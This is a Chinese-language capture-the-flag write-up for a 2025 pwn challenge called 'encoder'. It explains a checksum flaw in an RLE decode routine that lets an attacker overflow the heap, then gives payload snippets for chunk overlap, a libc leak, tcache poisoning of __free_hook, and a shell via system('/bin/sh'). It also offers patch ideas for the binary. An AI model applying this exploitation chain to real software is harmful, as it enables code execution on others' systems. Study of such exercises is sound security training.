2025软件安全赛pwn encoder
字数 1559 2025-08-29 08:29:58
Pwn Encoder 题目分析与利用教学
题目概述
这是一个基于文件上传、压缩解压功能的堆利用题目,运行在libc 2.31环境下。题目提供了上传(upload)、释放(release)、下载(download)、编码(encode)和解码(decode)功能,实际上实现了增删查操作。
关键数据结构
程序使用了一个结构体来管理数据,可以理解为:
struct {
void *ptr; // 0x10字节 - 数据指针
int size; // 0x4字节 - 数据大小
char buf[0x10]; // 0x10字节 - 小数据缓冲区
}
功能分析
upload功能
- 输入index和size,size限制为不超过0x20000
- 处理逻辑:
- 如果size ≤ 16:数据直接存储在结构体的buf中
- 如果size > 16:
- 如果已有数据且新size更大:释放旧堆块,申请新堆块
- 如果已有数据但新size不大:不做操作
- 如果无数据:直接申请指定大小的堆块
- 严格读取size大小的数据,类似进阶版calloc
download功能
- 根据index和size调用write函数输出数据
- 相当于show功能
release功能
- 常规删除操作
- 释放堆块并将指针和size置零
- 无UAF漏洞
encode功能
- 对数据进行压缩编码
- 压缩算法示例:
- 输入"aaaa"(\x61\x61\x61\x61) → 输出\x04\x61
- 处理流程:
- 根据size决定数据来源(buf或堆块)
- 调用encode_0函数进行压缩
- 释放原堆块
- 新数据格式:
- 前4字节:"RLE\n"魔术头
- 接着4字节:编码后数据长度
- 然后是编码数据
- 最后是校验和(所有数据的ASCII码之和)
- 漏洞:释放原堆块但不清除size表
decode功能
- 检查魔术头"RLE\n"
- 读取校验和(位于v3+v3[1]+8)
- 根据校验和进行解压
- 校验和必须减到0才会停止
- 正负值都会继续解压
- 漏洞点:
- 可伪造校验和导致溢出
- 可覆盖后续堆块的size字段
漏洞利用思路
核心漏洞
decode函数中的校验和验证不严格,可以通过伪造校验和实现堆溢出,覆盖后续堆块的size字段。
利用步骤
-
伪造size:
- 构造decode后的数据长度为0x14(0x14<<6=0x500)
- 精心构造sum值使其能够覆盖下一个堆块的size
-
堆块重叠:
- 释放伪造的堆块,形成大的unsorted bin
- 申请0x500大小的堆块,利用残留指针泄露libc和堆地址
-
tcache投毒:
- 再次释放大堆块恢复unsorted bin
- 伪造小size使堆块进入tcache
- 修改tcache的fd指向__free_hook
-
getshell:
- 申请堆块到__free_hook位置
- 写入system地址
- 释放包含"/bin/sh"的堆块触发
详细利用过程
1. 构造溢出条件
# 构造伪造的RLE数据
payload = b"RLE\n" + p32(0x14) # 魔术头和长度
payload += b"\x68\x20" # 0x68个0x20
payload += b"\x60\x07" # 0x60个0x07
payload += b"\x00\x00" # 0x00个0x00
payload += b"A"*0x10 # 填充
payload += p64(0x1241) # 覆盖size为0x1241
payload += b"\x06\x70" # 调整sum使其最终为0
2. 泄露libc和堆地址
# 释放伪造的堆块
release(modified_chunk)
# 申请0x500大小的堆块获取残留指针
upload(1, 0x500, b"dummy")
# 下载泄露信息
download(1)
leak = get_leak() # 从输出中解析libc和堆地址
3. tcache投毒
# 重新释放大堆块
release(1)
# 伪造小size进入tcache
upload(8, 0x520, b"gggghhhh"*32*5 + p64(0) + p64(0x41) + p64(0)*4)
# 释放进入tcache
release(8)
# 修改tcache fd
upload(9, 0x40, p64(libc.sym.__free_hook))
4. getshell
# 申请到__free_hook
upload(10, 0x40, b"/bin/sh\x00")
upload(11, 0x40, p64(libc.sym.system))
# 触发
release(10)
Patch方法
-
修改魔术头:
- 将数据段的"RLE"字符串改为其他值(如"RJE")
- 可绕过encode/decode的魔术头检查
-
替换malloc_usable_size:
- 将malloc_usable_size patch为malloc
- 改变堆分配行为
调试技巧
- 重点关注decode函数中的sum计算和校验过程
- 观察堆布局变化,特别是unsorted bin和tcache的状态
- 计算精确的偏移量确保正确覆盖size字段
- 调整sum伪造值使其最终能减到0
总结
本题通过decode函数的校验和漏洞实现堆溢出,结合堆风水技术完成利用。关键点在于:
- 理解encode/decode的数据格式
- 精确构造伪造的RLE数据
- 控制sum值实现可控溢出
- 通过堆布局操作泄露关键地址
- 最终通过tcache投毒劫持__free_hook
这种类型的题目考察了选手对堆管理机制的深入理解以及精确构造攻击数据的能力。